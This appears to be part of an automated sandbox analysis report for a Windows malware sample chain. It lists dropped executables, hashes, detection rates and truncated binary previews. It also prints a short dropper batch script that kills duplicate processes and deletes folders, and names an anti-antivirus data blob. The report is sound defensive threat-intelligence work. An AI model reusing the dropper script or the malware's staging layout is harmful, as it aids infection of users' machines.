Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...$.cg..............0......2........... ........@.. .......................`............@.....................................W.......H/...................@....................................................... ............... ..H............text........ ...................... ..`.rsrc...H/.......0..................@..@.reloc.......@......................@..B........................H........<..........K.......`p...........................................Y?.F60...5..8....4zc.:.V........N.0...1.....O*.S..~.......I...pR..iI......Pn}...iJ!BH.+o/S..yj...8T'.}....y.I.kD.....'....$.6....}..w[. )...j..[.-..0....\|...p....h\..L....R.T.~......b.K.h....".8.s`)...1... ....[i&.9....a?.F..N..~..._.^...Q.....43.L.....@v...x..IB.4...........\|......(........~.Y.L.S..;..x.)w...v...:..2.....y.%{3w.)..^..7......@...7..k.H..p}."..%.p....0.g.3....g..

C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1880576
Entropy (8bit):	7.947827107801024
Encrypted:	false
SSDEEP:	49152:ZRGDbjz7g+LRMpnd6dc8dwpW+8cYsjL1i:ZRGDrky0nd6dcmUT8AjL1i
MD5:	FF279F4E5B1C6FBDA804D2437C2DBDC8
SHA1:	2FEB3762C877A5AE3CA60EEEBC37003AD0844245
SHA-256:	E115298AB160DA9C7A998E4AE0B72333F64B207DA165134CA45EB997A000D378
SHA-512:	C7A8BBCB122B2C7B57C8B678C5EED075EE5E7C355AFBF86238282D2D3458019DA1A8523520E1A1C631CD01B555F7DF340545FD1E44AD678DC97C40B23428F967
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 53%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....<_g.............................0J...........@..........................`J.....i.....@.................................T0..h.... .......................1...................................................................................... . .........H..................@....rsrc........ .......X..............@....idata .....0.......Z..............@... ..*..@.......\..............@...xnuzvlhe.0..../......^..............@...tzuttanx..... J.....................@....taggant.0...0J.."..................@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1017610001\e8da769a7d.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	4450816
Entropy (8bit):	7.985304301810983
Encrypted:	false
SSDEEP:	98304:tom43DbewIxtiiOomSa347fCM65XFKZcdow9vbFgCAuj1:m7zb4CmaOfI/xTFGy
MD5:	8A549F15D1418FB4207AADB4BA813A36
SHA1:	9019F532ACC00096055788D1212842E8BEC35627
SHA-256:	7DC314359CDB76163923B61FC91175C7A09577E37443CA9711BA9C6B33863391
SHA-512:	1AADC1A1EB8715F02108A6DF2B28852C58399335A4760AFAA9D7637612B117B118D1F7DCBB9BDBB63A067872B7EE37669379575B51B207678CF55C2D45ACFBAB
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....bg...............(.DI..$l..2...........`I...@..................................D...@... ............................._.i.s.....i.....................L....................................................................................... . .pi......H(.................@....rsrc.........i......X(.............@....idata ......i......Z(.............@... ..8...i......\(.............@...souunsyz.p... ...f...^(.............@...zkkgfegk..............C.............@....taggant.0......."....C.............@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1017611001\5fc147bcaa.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1988608
Entropy (8bit):	7.953253971942528
Encrypted:	false
SSDEEP:	49152:/Hn3DJ4aBopFeb7wvRnh8QFMQbgYdfkDelKdojmd:/H3D+aYA4vslcRdfIep
MD5:	31093EBDC9EA634763874604C07E0F69
SHA1:	A8887B3C6E5E417DB4F19926ABC85CCBEB3FD4BC
SHA-256:	D6C86D327990446DAA297077154ADF2C5D25A685E899786E9F668B4D388ABE95
SHA-512:	3FD0DFECB5C5B1CC04EB59F9FD91DFCED5DD4FB07406CDF342103BD8CAC41A6934F6EFB75C2BD946CCE1BD420A6159C030F95CF209CB721F19F29167C9E53B84
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........z...)...)...)...(...)...(...)...(...)...(...)...(...)...(...)...(...)...)..)...)...).9.(...).9.)...).9.(...)Rich...)........................PE..L..._{_d...............%.\|...^........K...........@...........................L.....}\....@.................................V...j.......l........................................................................................................... . .........<..................@....rsrc...l............L..............@....idata .............T..............@... ..)..........V..............@...vxwcoufq......1......X..............@...pnspstga......K......2..............@....taggant.0....K.."...6..............@...........................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21504
Entropy (8bit):	5.336742061370928
Encrypted:	false
SSDEEP:	384:JiynHMEyyp/He7ik+KcJB669mNPBqVgYERHtNNVYISZS1d7RroV5:PHvtm7ik+KcJB6jRHkISZShkn
MD5:	14BECDF1E2402E9AA6C2BE0E6167041E
SHA1:	72CBBAE6878F5E06060A0038B25EDE93B445F0DF
SHA-256:	7A769963165063758F15F6E0CECE25C9D13072F67FA0D3C25A03A5104FE0783A
SHA-512:	16B837615505F352E134AFD9D8655C9CABFA5BFCFBEE2C0C34F2D7D9588AA71F875E4E5FEB8CDF0F7BACC00F7C1CA8DABD3B3D92AFC99ABF705C05C78E298B4A
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 11%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...pm;..........."...0..J..........:i... ........@.. ....................................`..................................h..O...................................Th..8............................................ ............... ..H............text...@I... ...J.................. ..`.rsrc................L..............@..@.reloc...............R..............@..B.................i......H........6..p1...........................................................0..8.......s2.....(....}<.....}=.....};....\|<.....(...+.\|<...(.....0..P........~.........,B.r...p(.....rc..p(.....(.....r...p.(....(......(....o......(.......0..8.......s,.....(....}......}......}.....\|......(...+.\|....(.....0..H........s......./......+....~.....~.....io.........X.......-.r...p.(......+....0............r...p( ...o!....+.....0............r...p( ...o!....+.....0..2.........r...pr...p

C:\Users\user\AppData\Local\Temp\1017613001\27302b4729.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	765568
Entropy (8bit):	7.855393940952922
Encrypted:	false
SSDEEP:	12288:4mOcxtujRb4+DR8KwzkS5AMtCxCz3z8JAS3p9+TPtN4+DR8KwzkS5AMtCxCz3z8U:lGtPWQ8C8z3zcB59CNPWQ8C8z3zcB590
MD5:	8A9CB17C0224A01BD34B46495983C50A
SHA1:	00296EA6A56F6E10A0F1450A20C5FB329B8856C1
SHA-256:	3D51B9523B387859BC0D94246DFB216CFA82F9D650C8D11BE11ED67F70E7440B
SHA-512:	1472E4670F469C43227B965984ECC223A526F6284363D8E08A3B5B55E602CCCE62DF4BC49939EE5BD7DF7B0C26E20DA896B084ECCAB767F8728E6BF14D71C840
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 71%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L.....`g..........".................RY............@.......................................@..................................7..<...............................@...........................X.......................(9..T............................text............................... ..`.rdata..$...........................@..@.data...l"...P.......>..............@....bsS....S............T.............. ..`.tls.................V..............@....rsrc................X..............@..@.reloc..@............Z..............@..B.bss.................t..............@....bss.........`......................@...................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1017614001\952ee9d31e.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4438776
Entropy (8bit):	7.99505709582503
Encrypted:	true
SSDEEP:	98304:Z/5zwjjEgd1H9RKNXpyUEJh56Nd1QVECgnD8EUVLbZJZCH3J53uJ+b:Z/qBdHRSXYBmrohgnDfUxbZJE2K
MD5:	3A425626CBD40345F5B8DDDD6B2B9EFA
SHA1:	7B50E108E293E54C15DCE816552356F424EEA97A
SHA-256:	BA9212D2D5CD6DF5EB7933FB37C1B72A648974C1730BF5C32439987558F8E8B1
SHA-512:	A7538C6B7E17C35F053721308B8D6DC53A90E79930FF4ED5CFFECAA97F4D0FBC5F9E8B59F1383D8F0699C8D4F1331F226AF71D40325022D10B885606A72FE668
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 88%
Preview:	MZ`.....................@...................................`...........!..L.!Require Windows..$PE..L....?.O............................_.............@..................................D..............................................0...O...........{C..?..............................................................l............................text............................... ..`.rdata...;.......<..................@..@.data....M..........................@....rsrc....O...0...P..................@..@........U..`.A.......S3.;.VWt.f9.b.A.t...`.A.P.P...P....Y.nj'.@....u..v..=..A..6P......P....9^..].v8.^..3......h..A.P..........P......P..x.A..E..E....;F.r......P.~...Y..6..j...t.A...t$..D....V...%s......A..F8......^.j..q.....A..3.9.`.A.t...@....9D$.t..t$.Ph.....5X.A.....A.3.....D$..`...\|$..u..@.....3.....p.A.............t$..D$..t$...`.A./.@..t$...P.Q..%`.A...3.....T$..L$....f..AABBf..u..L$.3.f9.t.@f.<A.u...t$...T.A..L$.......%..........S.\$.V..C;^.tLW3.j.Z...........Q.....3.9F.Y~.9F

C:\Users\user\AppData\Local\Temp\1017615001\3b4e53035a.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	4442112
Entropy (8bit):	7.9847680016652225
Encrypted:	false
SSDEEP:	98304:jh5LEofZ8SpH2OOS9gqEGuqskgY07kVOURaGIqGpMu0AU:d9D7zOS9gqEGuqskgYZOURaGW
MD5:	EBFE28CB77F3D1246693FA372420D022
SHA1:	F775BDF11301F3C1577668AE9245E1C22AB54EA6
SHA-256:	FCF09A75838F976B2A8112606DEE0912E662A5727822D8E349006299C3F6093A
SHA-512:	DEA11BCC617B17FD7BB050EF32C27F00A623F209D88DF6C712D5CFC10C82141CC5FF8EC9507D0F8EC6BC8F8B675E105B1972264DEAB5A3FBC91C9F9B2AB80D9E
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....U`g...............(.>D...d..2...P.......PD...@..................................2D...@... ............................._.a.s.....a......................:...............................9...................................................... . .pa......>(.................@....rsrc.........a......N(.............@....idata ......a......P(.............@... .P8...a......R(.............@...pggsbtrm.P......N...T(.............@...umcppckl.....@........C.............@....taggant.0...P..."....C.............@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_d1szvk2a.igc.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dzokkjsc.rxu.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ekfudgg4.ndx.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gyp1q0na.kgu.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pubaxzce.aik.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tygnfy0w.lze.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_uiccrnvx.53z.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yjvfcf5t.gfs.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3008512
Entropy (8bit):	6.58783107820754
Encrypted:	false
SSDEEP:	49152:XTJjZdsdiRYaCGZPNYWJuwrAZRvE5JitgU7sT/8az/tBBTgmEg:XTJjZdsdiRYTaNYWJuwsLvEnpU7Ta/J0
MD5:	EB5E8AF364226452A7B60CFDF34CE69B
SHA1:	CC80C76F29701DB1DC2862D0BA28BD6A15495DB1
SHA-256:	C0645847E49AB8E30B22D510DB3B31C8CB9E7301FA599C2CDACF4978F340ABC8
SHA-512:	62E312E1A75B8ACD276B7FB6BFAFB9DC4568F81415931B860CB5354BA3C3E0A0F0F2DFA683AABC69569E6B0E7D0BD830259B65E63AF09EA0F3EC43BA58FB46F4
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 53%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................1...........@...........................1.....x.....@.................................W...k............................{1..............................z1..................................................... . ............................@....rsrc...............................@....idata ............................@...odogmioi..........................@...qyfccaeh......1.......-.............@....taggant.0....1.."....-.............@...........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Local\Temp\main\7z.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1017614001\952ee9d31e.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1679360
Entropy (8bit):	6.278252955513617
Encrypted:	false
SSDEEP:	24576:S+clx4tCQJSVAFja8i/RwQQmzgO67V3bYgR+zypEqxr2VSlLP:jclmJSVARa86xzW3xRoyqqxrT
MD5:	72491C7B87A7C2DD350B727444F13BB4
SHA1:	1E9338D56DB7DED386878EAB7BB44B8934AB1BC7
SHA-256:	34AD9BB80FE8BF28171E671228EB5B64A55CAA388C31CB8C0DF77C0136735891
SHA-512:	583D0859D29145DFC48287C5A1B459E5DB4E939624BD549FF02C61EAE8A0F31FC96A509F3E146200CDD4C93B154123E5ADFBFE01F7D172DB33968155189B5511
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........w...$...$...$.&.$...$.&.$...$...$...$.&.$%..$.&.$..$.&G$...$.&.$...$.&.$...$.&.$...$Rich...$........................PE..d.....n\.........." .........H...............................................P............`.............................................y...l...x........{...p.......................................................................................................text............................... ..`.rdata..9...........................@..@.data...............................@....pdata.......p... ..................@..@.rsrc....{.......\|..................@..@.reloc...0.......2...n..............@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\main\7z.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1017614001\952ee9d31e.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	468992
Entropy (8bit):	6.157743912672224
Encrypted:	false
SSDEEP:	6144:fz1gL5pRTMTTjMkId/BynSx7dEe6XwzRaktNP08NhKs39zo43fTtl1fayCV7+DHV:r1gL5pRTcAkS/3hzN8qE43fm78V
MD5:	619F7135621B50FD1900FF24AADE1524
SHA1:	6C7EA8BBD435163AE3945CBEF30EF6B9872A4591
SHA-256:	344F076BB1211CB02ECA9E5ED2C0CE59BCF74CCBC749EC611538FA14ECB9AAD2
SHA-512:	2C7293C084D09BC2E3AE2D066DD7B331C810D9E2EECA8B236A8E87FDEB18E877B948747D3491FCAFF245816507685250BD35F984C67A43B29B0AE31ECB2BD628
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........(...{...{...{...{...{...{...{...{...{...{...{...{...{..!{...{...{...{...{...{Rich...{................PE..d.....n\.........."..........l...... .........@...........................................`.....................................................x....`..........,a...........p.......................................................... ............................text............................... ..`.rdata..............................@..@.data....,..........................@....pdata..,a.......b..................@..@.rsrc........`......................@..@.reloc.......p......................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\main\KillDuplicate.cmd

Download File

Process:	C:\Users\user\AppData\Local\Temp\1017614001\952ee9d31e.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	222
Entropy (8bit):	4.855194602218789
Encrypted:	false
SSDEEP:	6:vFuj9HUHOPLtInnIgvRY77flFjfA+qpxuArS3+xTfVk3:duj9HeONgvRYnlfYFrSMTtk3
MD5:	68CECDF24AA2FD011ECE466F00EF8450
SHA1:	2F859046187E0D5286D0566FAC590B1836F6E1B7
SHA-256:	64929489DC8A0D66EA95113D4E676368EDB576EA85D23564D53346B21C202770
SHA-512:	471305140CF67ABAEC6927058853EF43C97BDCA763398263FB7932550D72D69B2A9668B286DF80B6B28E9DD1CBA1C44AAA436931F42CC57766EFF280FDB5477C
Malicious:	false
Preview:	Cd /d %1..Rd "%SfxVarApiPath%"..For /f "Tokens=1,2 Delims=," %%I In ('TaskList /fo CSV /nh') Do (.. If %%I==%2 (.. Set /a N+=1.. Set PID=%%~J.. )..)..If %N% EQU 1 Rd /s /q %1..If %N% GTR 1 TaskKill /pid %PID% /t /f

C:\Users\user\AppData\Local\Temp\main\extracted\AntiAV.data

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	2355713
Entropy (8bit):	5.891648193754473
Encrypted:	false
SSDEEP:	24576:5yZBPkpRrP9pxC+XvoflcYy36s3vb0EecYy37n92k8GtGAQZ67hR7krC/Cyf0/xO:R9kqGu7okoZscCnf0/Zs9p
MD5:	579A63BEBCCBACAB8F14132F9FC31B89
SHA1:	FCA8A51077D352741A9C1FF8A493064EF5052F27
SHA-256:	0AC3504D5FA0460CAE3C0FD9C4B628E1A65547A60563E6D1F006D17D5A6354B0
SHA-512:	4A58CA0F392187A483B9EF652B6E8B2E60D01DAA5D331549DF9F359D2C0A181E975CF9DF79552E3474B9D77F8E37A1CF23725F32D4CDBE4885E257A7625F7B1F
Malicious:	false
Preview:	KmO6sb9bzFlO6QmlyBR3cUuBrPdmJRJBhXshklfui2fRJCiITlYNEM2EqC9x9I0qVq7CGnIhkwh6hvGvu5pkfBRaoLATG90WNTmCTDFIBTSnd7l9KiCxIUJ5zlBvrKkHZaxyJb0N052Q1AaMDCASX2cw1ZaV1bKcufYPprTSqVIRscgIruKC2MOUPLxNBR1egyVxwSbedVhVl89lRxHAMRMf16G6Ry1TTz7dOtnEaLQowPwuw8eDnR20ZOyf9yYTVcpDsiS4K2VzryfyiwiOXZDq7UaTFrtOgtVQzuNXN74O8xkfvt4Ykzxcs60WfAkGZKsYbwZWS4bPPY8cze1vDL6leHmcDUIbsBvTleZtzGhgeYGdRaUmv5ljenoBZOBDIndh9KTa7zBVHuP4jAK8C2IKaB5BgFReYTleqD0cCkhTdxbkQAMwHPuKktcCRORGmFfE37OzhnpNUtRyIHoGBwau6RcKp6vTNwIWRMkDjZaejD2NS5TCgRvcwgZcldKIAtOqIN0TXMXlnX6scNgHltMTvvwSZbBsDdCGRINZlutVfbP6joQl5sw21ICykYYYKwRfLlfpREpOzuAjwo7oC8hJ4Tv652auJh1RujdaLcIfX5oB1GDuu95ojl52qB08Lzg7nIl7yDb4k9X8rUPZ857XTGTaXkhL77wwG75hAnvfazjbPfP5GZrDYRdhe2I0zSJZuV5aaWd5Imf8Ck0w9ALkKR7xhRlclC4FnJOBuXxpdcsG9gE8tgukaoXpzf4z0CHJ0VOfBNcErBEPyoWMZfee3Vfg2NyLVPvaC6c5HNC1mZSr0SpB1RAlj2w7ST9eZL5DUYwl8p6flt6I3p7MBJrZLlY3LgBSr5F4BYYU6sebHdx0ES2Ci6J9wBw0wGLCy8SeSDS45pkrvWvTZkvW2oFTNBda3aYJyut0zJi1Chjp4xQkH1cEMWZUOy7MueiWNcfeKZqM4Gg2hr7XoLoTQXyvcXvxeOwXoXJKXvu4

C:\Users\user\AppData\Local\Temp\main\extracted\file_1.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	1799594
Entropy (8bit):	7.99773141173711
Encrypted:	true
SSDEEP:	49152:8yj13b27Gvrb6VZvqF7iGc8bbmuXZTsD28cz2TPt0JhJ+:tj13Trb6i5iGmuXZTbBizt0Jhc
MD5:	5659EBA6A774F9D5322F249AD989114A
SHA1:	4BFB12AA98A1DC2206BAA0AC611877B815810E4C
SHA-256:	E04346FEE15C3F98387A3641E0BBA2E555A5A9B0200E4B9256B1B77094069AE4
SHA-512:	F93ABF2787B1E06CE999A0CBC67DC787B791A58F9CE20AF5587B2060D663F26BE9F648D116D9CA279AF39299EA5D38E3C86271297E47C1438102CA28FCE8EDC4
Malicious:	false
Preview:	PK........i..Y..5..u..........in.exe.Y.4.a...3c0.e.c..X....0.\[...3Hb....^...T.-f..$k.b..#&.B.v...s.s....{.......{..\|.s.O......._....H.........(4.Io..""..q...CO.......G...)1......!...c:....=.....h.w?.o.q................4,.....\..:................_................(...S......Q.....wP..../3.......?..b......@.m.;.W...........:......8.......a..o.O....a......."......'..S....@....&.V.........(..p...u.sa=F.....~.".p..".B...eE...x..w.m....d..h...4...@.`......F.Z......h.[._O.\f....t..?..7s\|&Fj..T:.m...J..sk..t.\K]...h5..[...).E.,.4.....u...tP7B.0.I...H.15........+..[..G..)...M..;..H.?g...\.\.ZT.Q..&..@....nnx......s..1W...x.W..M2.h@.C@<.B\.&..:hgwM...$...y....._..z?....< ..T.._..^./m{.E..Y*.;ol..&_/./....3........x.%....$..=.^}.}..53.....\|...\|-... #..Z-.b.Ej...q.u..L-..x8...%..P:PKs...]....}...;:.Z........H..3k..F..:....X2a.e..G..f6...}....H.V.#r.H....T.....!....~...R%xu....(^......U.{.......l..RtFDi......./..t?......6FU....;2].@...z..8..K^B/W..

C:\Users\user\AppData\Local\Temp\main\extracted\file_2.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	Zip archive data, at least v1.0 to extract, compression method=store
Category:	dropped
Size (bytes):	1799748
Entropy (8bit):	7.997729415613798
Encrypted:	true
SSDEEP:	49152:5yj13b27Gvrb6VZvqF7iGc8bbmuXZTsD28cz2TPt0JhJ/:4j13Trb6i5iGmuXZTbBizt0Jhl
